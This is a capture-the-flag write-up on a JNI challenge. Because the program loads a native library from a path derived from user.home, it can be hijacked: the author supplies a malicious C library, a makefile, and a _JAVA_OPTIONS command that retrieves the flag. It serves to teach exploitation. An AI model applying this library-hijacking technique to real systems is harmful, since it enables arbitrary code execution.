Libraries

The weakness

hellotest is written in C++, it invokes java function sayHello via JNI. The function is defined in Helloworld.java, it invokes a native function print.

    ...
    public static void sayHello(String flag) throws Exception
    {
        String msg = "Hello World from JNI!";
        print(msg);
        if (msg.contains("flag"))
        {
            //What just happened? 
            print("What the flag? How did that happen...");
            print("Your flag is: " + flag);
        }
    }
    ...
    private static native void print(String msg);
    ...

print is a C function, defined in hellolib.c, which will be used to build shared object hellolib.so to be loaded into JVM at runtime.

JNIEXPORT void JNICALL Java_Helloworld_print
  (JNIEnv* env, jclass cls, jstring msg)
{
    const char* str = (*env)->GetStringUTFChars(env, msg, 0);
    printf("%s\n", str);
    if (str)
        (*env)->ReleaseStringUTFChars(env, msg, str);
    fflush(stdout);
}

HelloWorld copy hellolib.so from HelloWorld.jar, here comes the vulnerability, it then copy hellolib.so to directory libFolder for later invoke. libFolder is a directoy, named “.helloWorld”, under System.getProperty(“user.home”). If we specify the property “user.home”, we can make it use library in arbitrary path.

    private static void loadingLibrary() throws Exception
    {
        Path libFolder = Paths.get(System.getProperty("user.home"), ".helloWorld");
        
        //Create user folder to copy libraries from jar file.
        if (!Files.exists(libFolder))
            Files.createDirectory(libFolder);
        
        //Copy library from jar file into user folder
        Path libDest = libFolder.resolve("libhello.so");
        try
        {
        //Copy libhello if not already there.
            Files.copy(ClassLoader.getSystemResourceAsStream("libhello.so"), libDest);
        }
        catch (Exception e)
        { 
            //i don't know why this is throwing an error...
            //i think this fixes it...
        }
        
        //Dynamically link to it.
        System.load(libDest.toString());
    }

Create something evil

We need to create a our evil hellolib.c, lets’ say fakelib.c. In the file we create a char array contains string “flag”.

    jcharArray buf = (*env)->NewCharArray(env, 4);
    jchar arr[4] = {'f','l','a','g'};
    (*env)->SetCharArrayRegion(env, buf, 0, 4, arr); 

Assign the char array buf to msg, “[C” to indicate we are getting value field which is a char array as specified in JNI Types and Data Structures

    jclass cla = (*env)->GetObjectClass(env, msg);
    jfieldID id = (*env)->GetFieldID(env, cla, "value", "[C");
    (*env)->SetObjectField(env, msg, id, buf);

We need a customized makefile to build the .so file, since we are only allowed to create files in /tmp, we need to change the paths accordingly.

libhello.so : fakelib.o
    cc fakelib.o -shared -o libhello.so
    mkdir -p .helloWorld
    cp libhello.so .helloWorld
    
fakelib.o : 
    cp /home/lib/Helloworld.h .
    cc  -c -I/usr/lib/jvm/java-8-openjdk-amd64/include -fpic fakelib.c

*_JAVA_OPTIONS* is way to specify JVM arguments as an environment variable instead of command line parameters. Run hellotest in /home/lib directory with *_JAVA_OPTIONS=“-Duser.home=/tmp”*.

$ _JAVA_OPTIONS="-Duser.home=/tmp" /home/lib/hellotest
Picked up _JAVA_OPTIONS: -Duser.home=/tmp
fakelib                                                                                                                                                                 
Hello World from JNI!                   
fakelib                                 
What the flag? How did that happen...
fakelib
Your flag is: CTF{JN1_1s_r3a77y_f4n!}

Reference

TOP